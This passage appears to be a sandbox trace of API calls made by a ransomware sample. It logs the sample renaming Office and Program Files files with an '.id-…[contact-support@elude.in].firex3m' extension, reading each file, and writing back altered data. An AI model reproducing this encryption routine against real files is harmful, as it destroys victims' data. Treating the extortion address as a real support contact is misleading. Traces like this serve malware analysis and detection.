MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0205.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0205.059] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x42005a18, dwReserved1=0x74006e, cFileName="BASMLA.XSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BASMLA~1.FIR")) returned 0x6d5440 [0205.059] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0205.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0205.060] GetProcessHeap () returned 0x630000 [0205.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70ce4d8 [0205.060] GetProcessHeap () returned 0x630000 [0205.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0205.060] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.060] ReadFile (in: hFile=0x648, lpBuffer=0x70ce4d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4d8*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0212.902] GetProcessHeap () returned 0x630000 [0212.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0212.902] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.902] WriteFile (in: hFile=0x648, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0212.903] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.903] WriteFile (in: hFile=0x648, lpBuffer=0x72de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de917*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0212.904] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.904] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0212.904] CloseHandle (hObject=0x648) returned 1 [0212.904] GetProcessHeap () returned 0x630000 [0212.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0212.904] GetProcessHeap () returned 0x630000 [0212.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ce4d8 | out: hHeap=0x630000) returned 1 [0212.905] GetProcessHeap () returned 0x630000 [0212.905] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0212.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44d926b8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x37813, dwReserved0=0x9ec7496, dwReserved1=0x70ce4d0, cFileName="BASMLA.XSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BASMLA~1.FIR")) returned 0x6d5340 [0212.905] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0212.905] Sleep (dwMilliseconds=0x1) [0212.911] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBUI6.CHM", len=0x6b | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBUI6.CHM") returned 1 [0212.911] GetProcessHeap () returned 0x630000 [0212.911] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e5c) returned 0x6fe4288 [0212.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0212.912] CloseHandle (hObject=0x648) returned 1 [0212.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0212.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbui6.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBUI6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbui6.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0212.913] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBUI6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9db30a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9db30a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="VBUI6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBUI6C~1.FIR")) returned 0x6d5540 [0212.914] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0212.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBUI6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbui6.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0212.914] GetProcessHeap () returned 0x630000 [0212.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0212.914] GetProcessHeap () returned 0x630000 [0212.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706cf78 [0212.914] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.914] ReadFile (in: hFile=0x648, lpBuffer=0x72d3518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0219.865] GetProcessHeap () returned 0x630000 [0219.865] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0219.865] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.865] WriteFile (in: hFile=0x648, lpBuffer=0x706cf78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0219.866] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.866] WriteFile (in: hFile=0x648, lpBuffer=0x7078377*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078377*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.867] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.867] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.867] CloseHandle (hObject=0x648) returned 1 [0219.868] GetProcessHeap () returned 0x630000 [0219.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0219.868] GetProcessHeap () returned 0x630000 [0219.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0219.868] GetProcessHeap () returned 0x630000 [0219.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0219.868] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBUI6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9db30a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9db30a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x48fee42e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x65cba, dwReserved0=0x9ec7496, dwReserved1=0x72d3510, cFileName="VBUI6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBUI6C~1.FIR")) returned 0x6d54c0 [0219.868] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0219.868] Sleep (dwMilliseconds=0x1) [0219.895] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x6c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgradeth2.xml") returned 1 [0219.895] GetProcessHeap () returned 0x630000 [0219.895] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a8) returned 0x6fe3bb0 [0219.895] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.895] CloseHandle (hObject=0x620) returned 1 [0219.896] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.896] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x2e006c, dwReserved1=0x164, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0219.898] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0219.898] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.898] GetProcessHeap () returned 0x630000 [0219.898] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0219.898] GetProcessHeap () returned 0x630000 [0219.898] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0219.898] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.898] ReadFile (in: hFile=0x620, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x6c3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0219.902] GetProcessHeap () returned 0x630000 [0219.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0219.902] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.902] WriteFile (in: hFile=0x620, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x6c3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0219.902] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.902] WriteFile (in: hFile=0x620, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.902] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.902] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.902] CloseHandle (hObject=0x620) returned 1 [0219.902] GetProcessHeap () returned 0x630000 [0219.902] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0219.902] GetProcessHeap () returned 0x630000 [0219.902] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0219.902] GetProcessHeap () returned 0x630000 [0219.902] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0219.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49060bb0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x9ec7496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0219.903] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0219.903] Sleep (dwMilliseconds=0x1) [0219.917] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x6c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgradeth2.xml") returned 1 [0219.918] GetProcessHeap () returned 0x630000 [0219.918] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5098) returned 0x6fe3bb0 [0219.918] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0219.918] CloseHandle (hObject=0x648) returned 1 [0219.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.918] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.920] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0219.921] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0219.924] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.925] GetProcessHeap () returned 0x630000 [0219.925] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0219.925] GetProcessHeap () returned 0x630000 [0219.925] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0219.925] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.925] ReadFile (in: hFile=0x620, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x6c3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0219.927] GetProcessHeap () returned 0x630000 [0219.927] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0219.927] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.927] WriteFile (in: hFile=0x620, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, 